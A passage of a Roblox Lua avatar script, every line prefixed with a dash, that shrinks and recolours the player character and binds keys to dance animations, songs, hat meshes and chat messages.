- head.Size = Vector3.new(.4, .2, .2)
- rh.Parent = torso
- lh.Parent = torso
- rs.Parent = torso
- ls.Parent = torso
- neck.Parent = torso
- rj.Parent = rootpart
- if torso:findFirstChild("roblox") then
- local p = Instance.new("Part", char)
- p.FormFactor = "Custom"
- p.Size = torso.Size
- p.Transparency = 1
- p:BreakJoints()
- local w = Instance.new("Weld", char)
- w.Part0 = p
- w.Part1 = torso
- torso:findFirstChild("roblox").Parent = p
- end
- mesh1 = Instance.new("SpecialMesh", torso)
- mesh1.Name = "Mesh"
- mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
- mesh1.MeshId = "rbxasset://fonts/torso.mesh"
- mesh2 = Instance.new("SpecialMesh", la)
- mesh2.Name = "Mesh"
- mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
- mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
- mesh3 = Instance.new("SpecialMesh", ra)
- mesh3.Name = "Mesh"
- mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
- mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
- mesh4 = Instance.new("SpecialMesh", ll)
- mesh4.Name = "Mesh"
- mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
- mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
- mesh5 = Instance.new("SpecialMesh", rl)
- mesh5.Name = "Mesh"
- mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
- mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
- ls.C0 = CFrame.new(-.3,.1,0)
- ls.C1 = CFrame.new(0,.1,0)
- rs.C0 = CFrame.new(.3,.1,0)
- rs.C1 = CFrame.new(0,.1,0)
- rh.C0 = CFrame.new(.1,-.2,0)
- rh.C1 = CFrame.new(0, .2, 0)
- lh.C0 = CFrame.new(-.1,-.2,0)
- lh.C1 = CFrame.new(0, .2, 0)
- neck.C0 = CFrame.new(0,.2,0)
- neck.C1 = CFrame.new(0,-.1,0)
- bodyc = char:findFirstChild("Body Colors")
- if bodyc then
- bodyc:Destroy()
- end
- wait(0.1)
- skincolor = {"Pastel brown"}
- clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
- skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
- clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
- function restorecolors()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = skincolorrandom
- end
- end
- torso.BrickColor = clothcolorrandom
- ll.BrickColor = clothcolorrandom
- rl.BrickColor = clothcolorrandom
- end
- restorecolors()
- local LightForTorso = Instance.new("PointLight", head)
- LightForTorso.Range = 15
- LightForTorso.Brightness = 20
- coroutine.wrap(function()
- while LightForTorso ~= nil do
- LightForTorso.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.3)
- end
- end)()
- local slidecount = 0
- local slidecountmax = 0
- local anim = ""
- local lastanim = anim
- local speed = 0
- local looking = false
- local dancing = false
- local superannoying = false
- local barrelroll = false
- local dubstepgun = false
- local foxie = false
- local durka = false
- local saxguy = false
- local heya = false
- local jb = false
- local bronymusic = false
- local sheddy = false
- local burndem = false
- local canttt = false
- local global_wait = 0
- count = 0
- countspeed = 1
- sine = 0
- sinespeed = 1
- humanoid.WalkSpeed = 20
- local controllerService = game:GetService("ControllerService")
- local controller = controllerService:GetChildren()[1]
- local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
- humanoid.Died:connect(function()
- for cframe_parts = 0, 100 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
- p.Parent = workspace
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- mouse.KeyDown:connect(function(k)
- if string.byte(k) == 50 then
- if dancing then return end
- sitting = not sitting
- if sitting then
- local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
- local hitz,enz = workspace:FindPartOnRay(ray, char)
- if hitz then
- controller.Parent = nil
- humanoid.WalkSpeed = 0
- coroutine.wrap(function()
- while wait() do
- humanoid.PlatformStand = true
- if sitting == false then humanoid.PlatformStand = false break end
- end
- end)()
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- miniweld = Instance.new("Weld", char)
- miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
- miniweld.Part0 = hitz
- miniweld.Part1 = rootpart
- else
- sitting = false
- return
- end
- else
- if miniweld then
- miniweld:Destroy()
- end
- controller.Parent = controllerService
- humanoid.PlatformStand = false
- humanoid.WalkSpeed = 30
- end
- end
- if string.byte(k) == 32 then
- fwutters:Stop()
- uni:Stop()
- loll:Stop()
- qq:Stop()
- ann:Stop()
- nyan:Stop()
- sctmn:Stop()
- cant:Stop()
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- land_of_swords:stop()
- brony_music:stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- doge:Stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "z" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Jb Time!",0)
- jb = true
- super_annoying:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.6, 0)
- end
- end
- if k == "=" then
- if dancing then return end
- if not sitting then
- dancing = true
- canttt = true
- cant:play()
- game:GetService("Chat"):Chat(head,"Can't touch me!",0)
- end
- end
- if k == "u" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
- saxguy = true
- sctmn:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070"
- hatmesh.Scale = Vector3.new(.0925, .0925, .0925)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "k" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0)
- sheddy = true
- spitfire:play()
- end
- end
- if k == "," then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Land of swords!",0)
- foxie = true
- land_of_swords:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "p" then
- if dancing then return end
- if not sitting then
- dancing = true
- foxie = true
- game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
- qq:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == ";" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0)
- heya = true
- uni:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "n" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"test!",0)
- gangnam = true
- gangy_style:play()
- end
- end
- if k == "t" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"x3",0)
- heya = true
- ann:play()
- end
- end
- if k == "-" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"TROLOLOLOLOLO",0)
- heya = true
- loll:play()
- end
- end
- if k == "r" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Love is in Bloom!",0)
- burndem = true
- burn_dem:play()
- end
- end
- if k == "x" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Do the barrel roll!",0)
- barrelroll = true
- barrel_roll:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
- hatmesh.Scale = Vector3.new(.22, .2, .22)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "h" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,":D",0)
- heman:play()
- heya = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "j" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0)
- justin:play()
- jb = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
- hatmesh.Scale = Vector3.new(.23, .23, .23)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, -0.05, 0)
- end
- end
- if k == "'" then
- if dancing then return end
- if not sitting then
- dancing = true
- fwutters:play()
- game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
- bronymusic = true
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Cool yellow")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Cool yellow")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326"
- hatmesh.Scale = Vector3.new(.28, .28, .28)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, 0, 0)
- end
- end
- if k == "c" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0)
- dubstepgun = true
- dubstep_gun:play()
- end
- end
- if k == "v" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I am a pirate!",0)
- youpirate = true
- you_are_pirate:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0)
- end
- end
- if k == "m" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Can't touch this!",0)
- canttouch = true
- cant_touch:play()
- end
- end
- if k == "b" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Now for brony music!",0)
- bronymusic = true
- brony_music:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Pink")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Lavender")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192"
- hatmesh.Scale = Vector3.new(.25, .25, .45)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0.05)
- end
- end
- if k == "y" then
- if dancing then return end
- if not sitting then
- dancing = true
- bronymusic = true
- nyan:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Dark stone grey")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031"
- hatmesh.Scale = Vector3.new(.2, .30, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0.05)
- end
- end
- if k == "l" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"wot fox sey?!",0)
- foxie = true
- fox_say:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0)
- end
- end
- if k == "f" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"RAINBOW FACTORY!",0)
- durka = true
- durk:play()
- end
- end
- if k == "g" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Now for some more music",0)
- saxguy = true
- sax_guy:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "q" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
- rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
- end
- if k == "e" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
- rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
- end
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 30
- end
- if string.byte(k) == 52 then
- if sitting then return end
- humanoid.WalkSpeed = 10
- end
- end)
- mouse.KeyUp:connect(function(k)
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 20
- end
- if string.byte(k) == 32 then
- game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- brony_music:stop()
- cant:Stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "q" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- if k == "e" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- end)
- game:service'RunService'.Stepped:connect(function()
- count = (count % 100) + countspeed
- angle = math.pi * math.sin(math.pi*2/100*count)
- if slidecount < slidecountmax then
- slidecount = slidecount + speed
- end
- if slidecount > slidecountmax then
- slidecount = slidecount - speed
- end
- if global_wait == 380 then global_wait = 0 end
- sine = sine + sinespeed
- if not dancing then
- if not sitting then
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
- -- idle anim
- anim = "Idle"
- if anim ~= lastanim then
- if lastanim == "Walking" then
- speed = 0.5
- slidecount = 1
- slidecountmax = 0
- elseif lastanim == "Running" then
- speed = 2.5
- slidecount = 5
- slidecountmax = 0
- else
- slidecount = 0
- slidecountmax = 0
- end
- end
- countspeed = 1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
- looking = false
- -- walk anim
- anim = "Walking"
- if anim ~= lastanim then
- speed = 0.2
- slidecount = 0
- slidecountmax = 1
- if lastanim == "Running" then
- slidecount = 5
- end
- end
- countspeed = 6
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
- rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
- --run anim
- anim = "Running"
- if anim ~= lastanim then
- speed = 1
- slidecount = 0
- slidecountmax = 5
- if lastanim == "Walking" then
- slidecount = 1
- end
- end
- looking = false
- countspeed = 9
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
- end
- lastanim = anim
- else
- countspeed = 1
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
- else
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
- end
- else
- if superannoying then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif barrelroll then
- countspeed = 5
- sinespeed = 0.1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
- elseif dubstepgun then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
